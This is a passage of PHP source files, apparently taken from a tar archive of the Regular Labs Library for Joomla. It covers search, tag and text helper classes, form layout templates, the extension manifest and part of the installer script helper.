RL_Protect::removeFromHtmlTagContent($string, $tags, $include_closing_tags,
$html_tags);
}
public static function removeFromHtmlTagAttributes(&$string, $tags,
$attributes = 'ALL', $include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::removeFromHtmlTagAttributes($string, $tags, $attributes,
$include_closing_tags);
}
public static function articlePassesSecurity(&$article,
$securtiy_levels = [])
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::articlePassesSecurity($article, $securtiy_levels);
}
public static function isJoomla3()
{
return true;
}
}
helpers/search.php000064400000013547151165347350010210 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* BASE ON JOOMLA CORE FILE:
* /components/com_search/models/search.php
*/
/**
* @package Joomla.Site
* @subpackage com_search
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
use Joomla\CMS\Pagination\Pagination as JPagination;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
/**
* Search Component Search Model
*
* @since 1.5
*/
class SearchModelSearch extends JModel
{
/**
* Search data array
*
* @var array
*/
protected $_data = null;
/**
* Search total
*
* @var integer
*/
protected $_total = null;
/**
* Search areas
*
* @var integer
*/
protected $_areas = null;
/**
* Pagination object
*
* @var object
*/
protected $_pagination = null;
/**
* Constructor
*
* @since 1.5
*/
public function __construct()
{
parent::__construct();
// Get configuration
$app = JFactory::getApplication();
$config = JFactory::getConfig();
// Get the pagination request variables
$this->setState('limit',
$app->getUserStateFromRequest('com_search.limit',
'limit', $config->get('list_limit'),
'uint'));
$this->setState('limitstart',
$app->input->get('limitstart', 0, 'uint'));
// Get parameters.
$params = $app->getParams();
if ($params->get('searchphrase') == 1)
{
$searchphrase = 'any';
}
elseif ($params->get('searchphrase') == 2)
{
$searchphrase = 'exact';
}
else
{
$searchphrase = 'all';
}
// Set the search parameters
$keyword =
urldecode($app->input->getString('searchword'));
$match = $app->input->get('searchphrase',
$searchphrase, 'word');
$ordering = $app->input->get('ordering',
$params->get('ordering', 'newest'),
'word');
$this->setSearch($keyword, $match, $ordering);
// Set the search areas
$areas = $app->input->get('areas', null,
'array');
$this->setAreas($areas);
}
/**
* Method to set the search parameters
*
* @param string $keyword string search string
* @param string $match matching option, exact|any|all
* @param string $ordering option, newest|oldest|popular|alpha|category
*
* @return void
*
* @access public
*/
public function setSearch($keyword, $match = 'all', $ordering =
'newest')
{
if (isset($keyword))
{
$this->setState('origkeyword', $keyword);
if ($match !== 'exact')
{
$keyword = preg_replace('#\xE3\x80\x80#s', ' ',
$keyword);
}
$this->setState('keyword', $keyword);
}
if (isset($match))
{
$this->setState('match', $match);
}
if (isset($ordering))
{
$this->setState('ordering', $ordering);
}
}
/**
* Method to get weblink item data for the category
*
* @access public
* @return array
*/
public function getData()
{
// Lets load the content if it doesn't already exist
if (empty($this->_data))
{
$areas = $this->getAreas();
JPluginHelper::importPlugin('search');
$dispatcher = JEventDispatcher::getInstance();
$results = $dispatcher->trigger('onContentSearch', [
$this->getState('keyword'),
$this->getState('match'),
$this->getState('ordering'),
$areas['active'],
]
);
$rows = [];
foreach ($results as $result)
{
$rows = array_merge((array) $rows, (array) $result);
}
$this->_total = count($rows);
if ($this->getState('limit') > 0)
{
$this->_data = array_splice($rows,
$this->getState('limitstart'),
$this->getState('limit'));
}
else
{
$this->_data = $rows;
}
/* >>> ADDED: Run content plugins over results */
$params =
JFactory::getApplication()->getParams('com_content');
$params->set('rl_search', 1);
foreach ($this->_data as $item)
{
if (empty($item->text))
{
continue;
}
$dispatcher->trigger('onContentPrepare',
['com_search.search.article', &$item, &$params, 0]);
if (empty($item->title))
{
continue;
}
// strip html tags from title
$item->title = strip_tags($item->title);
}
/* <<< */
}
return $this->_data;
}
/**
* Method to get the total number of weblink items for the category
*
* @access public
*
* @return integer
*/
public function getTotal()
{
return $this->_total;
}
/**
* Method to set the search areas
*
* @param array $active areas
* @param array $search areas
*
* @return void
*
* @access public
*/
public function setAreas($active = [], $search = [])
{
$this->_areas['active'] = $active;
$this->_areas['search'] = $search;
}
/**
* Method to get a pagination object of the weblink items for the category
*
* @access public
* @return integer
*/
public function getPagination()
{
// Lets load the content if it doesn't already exist
if (empty($this->_pagination))
{
$this->_pagination = new JPagination($this->getTotal(),
$this->getState('limitstart'),
$this->getState('limit'));
}
return $this->_pagination;
}
/**
* Method to get the search areas
*
* @return int
*
* @since 1.5
*/
public function getAreas()
{
// Load the Category data
if (empty($this->_areas['search']))
{
$areas = [];
JPluginHelper::importPlugin('search');
$dispatcher = JEventDispatcher::getInstance();
$searchareas =
$dispatcher->trigger('onContentSearchAreas');
foreach ($searchareas as $area)
{
if (is_array($area))
{
$areas = array_merge($areas, $area);
}
}
$this->_areas['search'] = $areas;
}
return $this->_areas;
}
}
helpers/string.php000064400000000716151165347350010243 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
jimport('joomla.string.string');
abstract class RLString extends JString
{
}
helpers/tags.php000064400000012022151165347350007664 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\RegEx as RL_RegEx;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLTags
{
static $protected_characters = [
'=' => '[[:EQUAL:]]',
'"' => '[[:QUOTE:]]',
',' => '[[:COMMA:]]',
'|' => '[[:BAR:]]',
':' => '[[:COLON:]]',
];
public static function getValuesFromString($string = '',
$main_key = 'title', $known_boolean_keys = [], $keep_escaped =
[','])
{
return RL_PluginTag::getAttributesFromString($string, $main_key,
$known_boolean_keys, $keep_escaped);
}
public static function protectSpecialChars(&$string)
{
RL_PluginTag::protectSpecialChars($string);
}
public static function unprotectSpecialChars(&$string,
$keep_escaped_chars = [])
{
RL_PluginTag::unprotectSpecialChars($string, $keep_escaped_chars);
}
public static function replaceKeyAliases(&$values, $key_aliases = [],
$handle_plurals = false)
{
RL_PluginTag::replaceKeyAliases($values, $key_aliases, $handle_plurals);
}
public static function convertOldSyntax(&$values, $known_boolean_keys
= [], $extra_key = 'class')
{
RL_PluginTag::convertOldSyntax($values, $known_boolean_keys, $extra_key);
}
public static function getRegexSpaces($modifier = '+')
{
return RL_PluginTag::getRegexSpaces($modifier);
}
public static function getRegexInsideTag()
{
return RL_PluginTag::getRegexInsideTag();
}
public static function getRegexSurroundingTagPre($elements =
['p', 'span'])
{
return RL_PluginTag::getRegexSurroundingTagPre($elements);
}
public static function getRegexSurroundingTagPost($elements =
['p', 'span'])
{
return RL_PluginTag::getRegexSurroundingTagPost($elements);
}
public static function getRegexTags($tags, $include_no_attributes = true,
$include_ending = true, $required_attributes = [])
{
return RL_PluginTag::getRegexTags($tags, $include_no_attributes,
$include_ending, $required_attributes);
}
public static function fixBrokenHtmlTags($string)
{
return RL_Html::fix($string);
}
public static function cleanSurroundingTags($tags, $elements =
['p', 'span'])
{
return RL_Html::cleanSurroundingTags($tags, $elements);
}
public static function fixSurroundingTags($tags)
{
return RL_Html::fixArray($tags);
}
public static function removeEmptyHtmlTagPairs($string, $elements =
['p', 'span'])
{
return RL_Html::removeEmptyTagPairs($string, $elements);
}
public static function getDivTags($start_tag = '', $end_tag =
'', $tag_start = '{', $tag_end = '}')
{
$tag_start = RL_RegEx::unquote($tag_start);
$tag_end = RL_RegEx::unquote($tag_end);
return RL_PluginTag::getDivTags($start_tag, $end_tag, $tag_start,
$tag_end);
}
public static function getTagValues($string = '', $keys =
['title'], $separator = '|', $equal = '=',
$limit = 0)
{
return RL_PluginTag::getAttributesFromStringOld($string, $keys,
$separator, $equal, $limit);
}
/* @Deprecated */
public static function setSurroundingTags($pre, $post, $tags = 0)
{
if ($tags == 0)
{
// tags that have a matching ending tag
$tags = [
'div', 'p', 'span', 'pre',
'a',
'h1', 'h2', 'h3', 'h4',
'h5', 'h6',
'strong', 'b', 'em', 'i',
'u', 'big', 'small', 'font',
// html 5 stuff
'header', 'nav', 'section',
'article', 'aside', 'footer',
'figure', 'figcaption', 'details',
'summary', 'mark', 'time',
];
}
$a = explode('<', $pre);
$b = explode('</', $post);
if (count($b) < 2 || count($a) < 2)
{
return [trim($pre), trim($post)];
}
$a = array_reverse($a);
$a_pre = array_pop($a);
$b_pre = array_shift($b);
$a_tags = $a;
foreach ($a_tags as $i => $a_tag)
{
$a[$i] = '<' . trim($a_tag);
$a_tags[$i] = RL_RegEx::replace('^([a-z0-9]+).*$',
'\1', trim($a_tag));
}
$b_tags = $b;
foreach ($b_tags as $i => $b_tag)
{
$b[$i] = '</' . trim($b_tag);
$b_tags[$i] = RL_RegEx::replace('^([a-z0-9]+).*$',
'\1', trim($b_tag));
}
foreach ($b_tags as $i => $b_tag)
{
if (empty($b_tag) || ! in_array($b_tag, $tags))
{
continue;
}
foreach ($a_tags as $j => $a_tag)
{
if ($b_tag != $a_tag)
{
continue;
}
$a_tags[$i] = '';
$b[$i] = trim(RL_RegEx::replace('^</' . $b_tag .
'.*?>', '', $b[$i]));
$a[$j] = trim(RL_RegEx::replace('^<' . $a_tag .
'.*?>', '', $a[$j]));
break;
}
}
foreach ($a_tags as $i => $tag)
{
if (empty($tag) || ! in_array($tag, $tags))
{
continue;
}
array_unshift($b, trim($a[$i]));
$a[$i] = '';
}
$a = array_reverse($a);
list($pre, $post) = [implode('', $a), implode('',
$b)];
return [trim($pre), trim($post)];
}
}
helpers/text.php000064400000011417151165347350007721 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Alias as RL_Alias;
use RegularLabs\Library\ArrayHelper as RL_Array;
use RegularLabs\Library\Date as RL_Date;
use RegularLabs\Library\Form as RL_Form;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\HtmlTag as RL_HtmlTag;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;
use RegularLabs\Library\Title as RL_Title;
use RegularLabs\Library\Uri as RL_Uri;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLText
{
/* Date functions */
public static function fixDate(&$date)
{
$date = RL_Date::fix($date);
}
public static function fixDateOffset(&$date)
{
RL_Date::applyTimezone($date);
}
public static function dateToDateFormat($dateFormat)
{
return RL_Date::strftimeToDateFormat($dateFormat);
}
public static function dateToStrftimeFormat($dateFormat)
{
return RL_Date::dateToStrftimeFormat($dateFormat);
}
/* String functions */
public static function html_entity_decoder($string, $quote_style =
ENT_QUOTES, $charset = 'UTF-8')
{
return RL_String::html_entity_decoder($string, $quote_style, $charset);
}
public static function stringContains($haystacks, $needles)
{
return RL_String::contains($haystacks, $needles);
}
public static function is_alphanumeric($string)
{
return RL_String::is_alphanumeric($string);
}
public static function splitString($string, $delimiters = [], $max_length
= 10000, $maximize_parts = true)
{
return RL_String::split($string, $delimiters, $max_length,
$maximize_parts);
}
public static function strReplaceOnce($search, $replace, $string)
{
return RL_String::replaceOnce($search, $replace, $string);
}
/* Array functions */
public static function toArray($data, $separator = '')
{
return RL_Array::toArray($data, $separator);
}
public static function createArray($data, $separator = ',')
{
return RL_Array::toArray($data, $separator, true);
}
/* RegEx functions */
public static function regexReplace($pattern, $replacement, $string)
{
return RL_RegEx::replace($pattern, $replacement, $string);
}
public static function pregQuote($string = '', $delimiter =
'#')
{
return RL_RegEx::quote($string, $delimiter);
}
public static function pregQuoteArray($array = [], $delimiter =
'#')
{
return RL_RegEx::quoteArray($array, $delimiter);
}
/* Title functions */
public static function cleanTitle($string, $strip_tags = false,
$strip_spaces = true)
{
return RL_Title::clean($string, $strip_tags, $strip_spaces);
}
public static function createUrlMatches($titles = [])
{
return RL_Title::getUrlMatches($titles);
}
/* Alias functions */
public static function createAlias($string)
{
return RL_Alias::get($string);
}
/* Uri functions */
public static function getURI($hash = '')
{
return RL_Uri::get($hash);
}
/* Plugin Tag functions */
public static function getTagRegex($tags, $include_no_attributes = true,
$include_ending = true, $required_attributes = [])
{
return RL_PluginTag::getRegexTags($tags, $include_no_attributes,
$include_ending, $required_attributes);
}
/* HTML functions */
public static function getBody($html)
{
return RL_Html::getBody($html);
}
public static function getContentContainingSearches($string,
$start_searches = [], $end_searches = [], $start_offset = 1000, $end_offset
= null)
{
return RL_Html::getContentContainingSearches($string, $start_searches,
$end_searches, $start_offset, $end_offset);
}
public static function convertWysiwygToPlainText($string)
{
return RL_Html::convertWysiwygToPlainText($string);
}
public static function combinePTags(&$string)
{
RL_Html::combinePTags($string);
}
/* HTML Tag functions */
public static function combineTags($tag1, $tag2)
{
return RL_HtmlTag::combine($tag1, $tag2);
}
public static function getAttribute($key, $string)
{
return RL_HtmlTag::getAttributeValue($key, $string);
}
public static function getAttributes($string)
{
return RL_HtmlTag::getAttributes($string);
}
public static function combineAttributes($string1, $string2)
{
return RL_HtmlTag::combineAttributes($string1, $string2);
}
/* Form functions */
public static function prepareSelectItem($string, $published = 1, $type =
'', $remove_first = 0)
{
return RL_Form::prepareSelectItem($string, $published, $type,
$remove_first);
}
}
helpers/versions.php000064400000002413151165347350010601 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Version as RL_Version;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLVersions
{
public static function getXMLVersion($alias, $urlformat = false, $type =
'component', $folder = 'system')
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::get($alias, $type, $folder);
}
public static function getPluginXMLVersion($alias, $folder =
'system')
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::getPluginVersion($alias, $folder);
}
public static function render($alias)
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::getMessage($alias);
}
public static function getFooter($name, $copyright = 1)
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::getFooter($name, $copyright);
}
}
layouts/range.php000064400000011256151165347350010070 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('JPATH_BASE') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var string $field
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to. <fields>
section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $prepend
* @var string $append
*/
extract($displayData);
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
['version' => 'auto', 'relative' =>
true, 'conditional' => 'lt IE 9']);
// Initialize some field attributes.
$attributes_range = [
$class ? 'class="' . $class . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
! empty($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
! empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
];
$attributes_number = [
'class="input-mini text-right"',
! empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : '',
];
$chars = strlen($max) ?: $size ?: 4;
$width = $chars * 8;
$classes = [];
if ($prepend)
{
$classes[] = 'input-prepend';
}
if ($append)
{
$classes[] = 'input-append';
}
if (strpos($prepend, 'icon-') === 0)
{
$prepend = '<span class="' . $prepend .
'"></span>';
}
if (strpos($append, 'icon-') === 0)
{
$append = '<span class="' . $append .
'"></span>';
}
if ($prepend && preg_match('#^[A-Z][A-Z0-9_]+$#',
$prepend))
{
$prepend = JText::_($prepend);
}
if ($append && preg_match('#^[A-Z][A-Z0-9_]+$#',
$append))
{
$append = JText::_($append);
}
$input = '<input type="number" name="' . $name
. '" id="' . $id . '" value="' .
$value . '"
oninput="document.querySelector(\'input[data-for=\\\''
. $name . '\\\']\').value=this.value;"'
. ' ' . implode(' ', $attributes_number) . '
/>';
?>
<span class="<?php echo implode(' ', $classes);
?>">
<?php if ($prepend): ?>
<span class="add-on"><?php echo $prepend;
?></span>
<?php endif; ?>
<?php echo $input; ?>
<?php if ($append): ?>
<span class="add-on"><?php echo $append;
?></span>
<?php endif; ?>
</span>
<input type="range" data-for="<?php echo $name;
?>" value="<?php echo $value; ?>"
oninput="document.querySelector('input[name=\'<?php echo
$name; ?>\']').value=this.value;"
<?php echo implode(' ', $attributes_range); ?> />
layouts/repeatable-table/section.php000064400000004275151165347350013634
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
$fields = $form->getGroup('');
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<td>
<a class="sortable-handler group-move group-move-<?php echo
$unique_subform_id; ?>" style="cursor: move;"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-menu"
aria-hidden="true"></span>
</a>
</td>
<td data-column="<?php echo strip_tags($fields[$group .
'__field']->label); ?>">
<?php echo $fields[$group .
'__field']->renderField(['hiddenLabel' => true]);
?>
<?php if (isset($fields[$group . '__field_name'])) : ?>
<?php echo $fields[$group .
'__field_name']->renderField(['hiddenLabel' =>
true]); ?>
<?php endif; ?>
</td>
<?php if (isset($fields[$group . '__field_comparison'])) :
?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_comparison']->label); ?>">
<?php echo $fields[$group .
'__field_comparison']->renderField(['hiddenLabel'
=> true]); ?>
</td>
<?php endif; ?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_value']->label); ?>">
<?php echo $fields[$group .
'__field_value']->renderField(['hiddenLabel' =>
true]); ?>
</td>
<td>
<div class="btn-group">
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
</div>
</td>
</tr>
layouts/repeatable-table.php000064400000010431151165347350012157
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple mode
* @var int $max Count of maximum repeating in multiple mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', ['core', 'sortable']);
JHtml::_('script', 'system/subform-repeatable.js',
['version' => 'auto', 'relative' =>
true]);
}
// Build heading
$fields = $tmpl->getGroup('');
$column_count = 4;
$table_head = [];
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field']->label) . '</th>';
if (isset($fields[$id . '__' . $fieldname .
'X__field_comparison']))
{
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field_comparison']->label) . '</th>';
$column_count++;
}
$table_head[] = '<th>' . strip_tags($fields[$id .
'__' . $fieldname . 'X__field_value']->label) .
'</th>';
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin left
JFactory::getDocument()->addStyleDeclaration(
'.subform-table-sublayout-section .controls { margin-left: 0px
}'
);
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>
form-vertical">
<div
class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="tr.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-rows-container="tbody.rows-container-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<table class="adminlist table table-striped ">
<thead>
<tr>
<th style="width:1%;"></th>
<?php echo implode('', $table_head); ?>
<th style="width:1%;"></th>
</tr>
</thead>
<tbody class="rows-container-<?php echo $unique_subform_id;
?>">
<?php foreach ($forms as $k => $form):
echo $this->sublayout(
$sublayout,
[
'form' => $form,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
);
endforeach; ?>
</tbody>
<tfoot>
<tr>
<th colspan="<?php echo $column_count; ?>">
<div class="btn-group btn-group-full">
<a
class="btn btn-mini btn-full button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo
JText::_('JGLOBAL_FIELD_ADD'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
</th>
</tr>
</tfoot>
</table>
<?php if ($multiple) : ?>
<template
class="subform-repeatable-template-section"><?php echo
trim(
$this->sublayout(
$sublayout,
[
'form' => $tmpl,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
)
); ?></template>
<?php endif; ?>
</div>
</div>
</div>
regularlabs.xml000064400000002056151165347350007606 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.9" type="library"
method="upgrade">
<name>Regular Labs Library</name>
<libraryname>regularlabs</libraryname>
<description></description>
<version>21.2.19653</version>
<creationDate>February 2021</creationDate>
<author>Regular Labs (Peter van Westen)</author>
<authorEmail>info@regularlabs.com</authorEmail>
<authorUrl>https://www.regularlabs.com</authorUrl>
<copyright>Copyright © 2018 Regular Labs - All Rights
Reserved</copyright>
<license>http://www.gnu.org/licenses/gpl-2.0.html
GNU/GPL</license>
<scriptfile>script.install.php</scriptfile>
<files>
<folder>vendor</folder>
<folder>src</folder>
<file>autoload.php</file>
<file>regularlabs.xml</file>
<folder>fields</folder>
<folder>helpers</folder>
<folder>layouts</folder>
<filename>script.install.helper.php</filename>
</files>
<media folder="media" destination="regularlabs">
<folder>css</folder>
<folder>fonts</folder>
<folder>images</folder>
<folder>js</folder>
<folder>less</folder>
</media>
</extension>
script.install.helper.php000064400000054553151165347350011532
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;
class RegularLabsInstallerScriptHelper
{
public $name = '';
public $alias = '';
public $extname = '';
public $extension_type = '';
public $plugin_folder = 'system';
public $module_position = 'status';
public $client_id = 1;
public $install_type = 'install';
public $show_message = true;
public $db = null;
public $softbreak = null;
public $installed_version = '';
public function __construct(&$params)
{
$this->extname = $this->extname ?: $this->alias;
$this->db = JFactory::getDbo();
}
public function preflight($route, $adapter)
{
if ( ! in_array($route, ['install', 'update']))
{
return true;
}
JFactory::getLanguage()->load('plg_system_regularlabsinstaller',
JPATH_PLUGINS . '/system/regularlabsinstaller');
$this->installed_version =
$this->getVersion($this->getInstalledXMLFile());
if ($this->show_message && $this->isInstalled())
{
$this->install_type = 'update';
}
// if ($this->extension_type == 'component')
// {
// // Remove admin menu to prevent error on creating it again
// $query = $this->db->getQuery(true)
// ->delete('#__menu')
// ->where($this->db->quoteName('path') . ' =
' . $this->db->quote('com-' . $this->extname))
// ->where($this->db->quoteName('client_id') . '
= 1');
// $this->db->setQuery($query);
// $this->db->execute();
// }
if ($this->onBeforeInstall($route) === false)
{
return false;
}
return true;
}
public function postflight($route, $adapter)
{
$this->removeGlobalLanguageFiles();
$this->removeUnusedLanguageFiles();
JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, $this->getMainFolder());
if ( ! in_array($route, ['install', 'update']))
{
return true;
}
$this->fixExtensionNames();
$this->updateUpdateSites();
$this->removeAdminCache();
if ($this->onAfterInstall($route) === false)
{
return false;
}
if ($route == 'install')
{
$this->publishExtension();
}
if ($this->show_message)
{
$this->addInstalledMessage();
}
JFactory::getCache()->clean('com_plugins');
JFactory::getCache()->clean('_system');
return true;
}
public function isInstalled()
{
if ( ! is_file($this->getInstalledXMLFile()))
{
return false;
}
$query = $this->db->getQuery(true)
->select($this->db->quoteName('extension_id'))
->from('#__extensions')
->where($this->db->quoteName('type') . ' =
' . $this->db->quote($this->extension_type))
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName()))
->setLimit(1);
$this->db->setQuery($query);
$result = $this->db->loadResult();
return empty($result) ? false : true;
}
public function getMainFolder()
{
switch ($this->extension_type)
{
case 'plugin' :
return JPATH_PLUGINS . '/' . $this->plugin_folder .
'/' . $this->extname;
case 'component' :
return JPATH_ADMINISTRATOR . '/components/com_' .
$this->extname;
case 'module' :
return JPATH_ADMINISTRATOR . '/modules/mod_' .
$this->extname;
case 'library' :
return JPATH_SITE . '/libraries/' . $this->extname;
}
}
public function getInstalledXMLFile()
{
return $this->getXMLFile($this->getMainFolder());
}
public function getCurrentXMLFile()
{
return $this->getXMLFile(__DIR__);
}
public function getXMLFile($folder)
{
switch ($this->extension_type)
{
case 'module' :
return $folder . '/mod_' . $this->extname .
'.xml';
default :
return $folder . '/' . $this->extname . '.xml';
}
}
public function uninstallExtension($extname, $type = 'plugin',
$folder = 'system', $show_message = true)
{
if (empty($extname))
{
return;
}
$folders = [];
switch ($type)
{
case 'plugin':
$folders[] = JPATH_PLUGINS . '/' . $folder . '/' .
$extname;
break;
case 'component':
$folders[] = JPATH_ADMINISTRATOR . '/components/com_' .
$extname;
